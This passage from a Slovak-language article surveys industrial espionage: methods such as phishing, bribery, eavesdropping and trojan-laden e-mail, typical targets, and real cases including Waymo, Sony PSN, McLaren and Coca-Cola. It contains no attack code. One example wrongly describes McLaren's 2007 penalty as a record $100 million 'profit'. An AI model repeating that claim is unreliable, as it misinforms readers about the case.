alebo zmeniť svoje rozhodnutia a tak prekaziť snahy útočníka. Najčastejšie metódy 
priemyslenej špionáže sú[3]: 
 PHISHING - Činnosť, pri ktorej sa podvodník snaží vylákať od používateľov 

rôzne heslá, napr. k bankovému účtu. Väčšinou prebieha tak, že sa založí 
webstránka, ktorá vyzerá ako presná kópia už existujúcej dôveryhodnej 
stránky, alebo ponúka nejaké výhody po prihlásení cez ich webstránku. Meno a 
heslo zadané do phishingovej stránky, sa odošlú podvodníkovi, ktorý ich môže 
zneužiť. Phishing môže prebiehať aj tak, že sa rozposielajú e-maily, ktoré 
oznamujú používateľom zmenu účtu alebo jeho obnovenie a tak lákajú heslá.[7] 

 TRIK - Najpoužívanejší. Špión sa vydáva za inú osobu. 
 PODVOD - Trik vyššej úrovne. Metóda falošných vyjednávačov. Títo majú 

záujem poskytnúť napríklad licenciu, získať licenciu alebo uzavrieť príslušnú 
obchodnú zmluvu. Pri rokovaniach sa snažia získať čo najviac konkrétnych 
informácií. Po ich získaní od ďalšieho rokovania často odstupujú. 
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 PODPLÁCANIE - Prepracovaná a často používaná metóda. Je možné ho odhaliť 
veľmi ťažko predtým, než je zjavné, napr. z výsledkov vo výrobkoch 
konkurencie alebo z konania špióna. Ponúkajú a poskytujú sa zamestnancom 
konkurenčných podnikov odmeny presahujúce mnohonásobne ich mesačné či 
ročné príjmy. Aj preto je podplácanie jednou z najúspešnejších metód 
priemyselnej špionáže. 

 KRÁDEŽ - Veľmi častým javom sú krádeže košov s odpadovým papierom. 
 ODPOČÚVANIE - V súčasnosti najrozšírenejšia metóda. 
 FOTOGRAFOVANIE, FILMOVANIE - Umožňujú to dnes dokonalé teleskopy, 

miniatúrne kamery a pod. 
 DOTAZNÍKOVÉ AKCIE - Zastretá a legálna metóda. Podnikateľom prichádzajú 

z rôznych štátov a od rôznych firiem či inštitúcií. Ak je dotazník šikovne a 
komplexne zostavený a ak ho podnikateľ vyplní a zašle dotazovateľovi, prezradí 
skoro všetko o svojom hmotnom a nehmotnom majetku.  

 ELEKTRONICKÁ ŠPIONÁŽ - Získavanie informácie pomocou informačnej a 
komunikačnej technológie. Môže ísť o nabúranie sa do počítačového systému 
spoločnosti, za účelom získania súkromných informácií. Niektorí hackeri môžu 
používať mená, alebo osobné informácie o klientoch, aby ich mohli neskôr 
okradnúť. (Útoky pomocou trojských koňov umiestnených v e-mailoch) 

 
Obvyklé ciele priemyselnej špionáže: 
 Obchodné tajomstvo - Získavanie chránených informácií o existujúcich alebo 

pripravovaných produktoch. Informácie predstavujúce obchodné tajomstvo sú 
údaje akejkoľvek povahy, či už ide o hospodárske, priemyselné, technické alebo 
politické[2]. 

 Informácie o klientoch - Informácie môžu byť použité na ukradnutie biznisu 
alebo zneužité na poškodenie dobrého mena spoločnosti, 

 Finančné informácie - Informácie možno použiť na poskytnutie lepších ponúk 
zákazníkom, obchodným partnerom či zamestnancom firmy[5], 

 Marketingové informácie - Informácie umožnia konkurentom pripraviť včasné 
odpovede na marketingové kampane. 

 
Príklady zo života: 
   História pozná a pozná milióny príkladov trestných činov v oblasti krádeže 
tajomstva výroby rôznych predmetov. Uvádzame tie hlavné: 

 Benjamin Pierce Bishop, 59-ročný zamestnanec nemenovaného dodávateľa 
obrany, bol zatknutý v decembri 2012 a obvinený z prechovávania a 
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poskytovania národných vojenských tajomstiev vrátane informácií o 
jadrových zbraniach cudzincovi. Bishop bol bývalý dôstojník americkej 
armády a pracoval na tichomorskom velení USA v Oahu na Havaji. Mal 
romantický vzťah s 27-ročnou Číňankou, ktorú stretol na medzinárodnej 
konferencii o vojenskej obrane. V jeho dome sa našlo niekoľko tajných 
dokumentov a údajne jej odovzdával tajné informácie po dobu devätnástich 
mesiacov od mája 2011 do decembra 2012. Bishop vykonal prísne tajnú 
bezpečnostnú previerku od júla 2002. Odovzdané informácie údajne 
obsahovali údaje týkajúce sa jadrových zbraní USA a rozmiestnenia týchto 
zbraní a systémov, ako aj radarových systémov včasného varovania a 
schopnosti USA detekovať balistické rakety. V prípade dokázania viny mu 
hrozí väzenie až na dvadsať rokov.  

 V roku 1985 Eugene Mayfield, bývalý zamestnanec spoločnosti Procter & 
Gamble, ukradla a snažila sa predať strategický plán marketingových aktivít 
zameraných na zvýšenie predaja zubnej pasty značky Crest. Predaj cenných 
informácií prepadol, neúspešnú špiónku chytili na mieste činu s výraznými 
účtami. 

 Waymo - Spoločnosti boli odcudzené súbory s tajnými informáciami ako 
návrhy, plány a výsledky testovania ich bývalým zamestnancom. 

 HTC - Spoločnosť obvinila troch manažérov, ktorí mali na starosti vývoj 
nových produktov za priemyselnú špionáž pre čínsku konkurenciu. [6] 

 Tesla - Bývalý zamestnanec ukradol dôverné fotografie a videá výrobných 
systémov za účelom poškodenia dobrého mena spoločnosti. 

 Na sieť Sony PlayStation Network (PSN) v roku 2011 zaútočili okrem iného aj 
útoky DDoS, ktoré vyústili do úniku údajov týkajúcich sa 100 000 000 
používateľov siete PSN. Tieto údaje zahŕňali mená a účty používateľov, 
poštové adresy a údaje o kreditných kartách[8]. 

 V roku 2007 tím Ferrari Formula One obvinil vedúceho inžiniera McLarenu a 
bývalého zamestnanca tímu Ferrari z poskytovania dôverných informácií 
McLarenu. Zároveň sa vyskytli obvinenia, že tímu Renault Formula One boli 
tiež poskytované dôverné informácie od McLarenu. Tieto dôverné 
informácie údajne zahŕňali technické špecifikácie pre automobily formuly 
jeden a ďalšie technické informácie o dizajne. Po vyšetrovaní 
Medzinárodnou automobilovou federáciou (FIA) bol tím McLaren Formula 
One vylúčený z Majstrovstiev sveta konštruktérov 2007 a jeho výsledkom 
bol rekordný zisk 100 miliónov dolárov. 
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 Počas zriedkavého prípadu spolupráce medzi konkurenciou bol 
zamestnanec Coca-Coly a jeho dvaja komplici zatknutí v Atlante za krádež 
duševného vlastníctva (recept na nový produkt) a pokus o predaj týchto 
informácií konkurentovi spoločnosti Coca-Cola, spoločnosti PepsiCo. 
Spoločnosť PepsiCo informovala Coca-Colu a FBI a spolupráca viedla k 
zatknutiu páchateľov v roku 2006. 

 
   Odhalenie špionáže je tvrdým úderom pre každú firmu, najmä ak má zlodejov na 
vlastnej výplatnej páske. Oproti minulosti sa zvýšil počet hackerských útokov. 
Neraz sú za priemyselnou špionážou špičkoví profesionáli z oblasti IT. V prípade 
priemyselnej špionáže v nemeckom Vodafone bol vynášačom zamestnanec, ktorý 
spravoval IT systém v spoločnosti. Škandálom s úplatnými zamestnancami sa v 
poslednej dekáde nevyhli ani nemecké firmy so zvučnými menami ako Siemens, 
ThyssenKrupp či Deutsche Bank. Podľa Steffena Salvenmosera z PWC sa obavy 
podnikov zvyšujú najmä v oblasti cyberzločinu.[1] 
   Okrem vyššie spomenutých prípadov a mnohých ďalších, ktoré sa dostali na 
verejnosť, je stopercentne isté, že každý deň dôjde k desiatkam prípadov 
priemyselnej špionáže, ktoré pravdepodobne nikdy nebudú odhalené.  
 
Záver 
   Priemyselná špionáž nie je v dnešnom svete ničím výnimočným. Ohrozeniu 
takého typu je vystavený každý jeden podnik. Tento článok slúžil na to, aby 
vysvetlil základný pojem priemyselnej špionáže, poukázal na najčastejšie 
používané metódy a formy špionáže, na jeho ciele. Taktiež boli spomenuté príklady 
zo života, podľa ktorých môžeme ľahšie určiť potrebné prevencie voči špionáže. 
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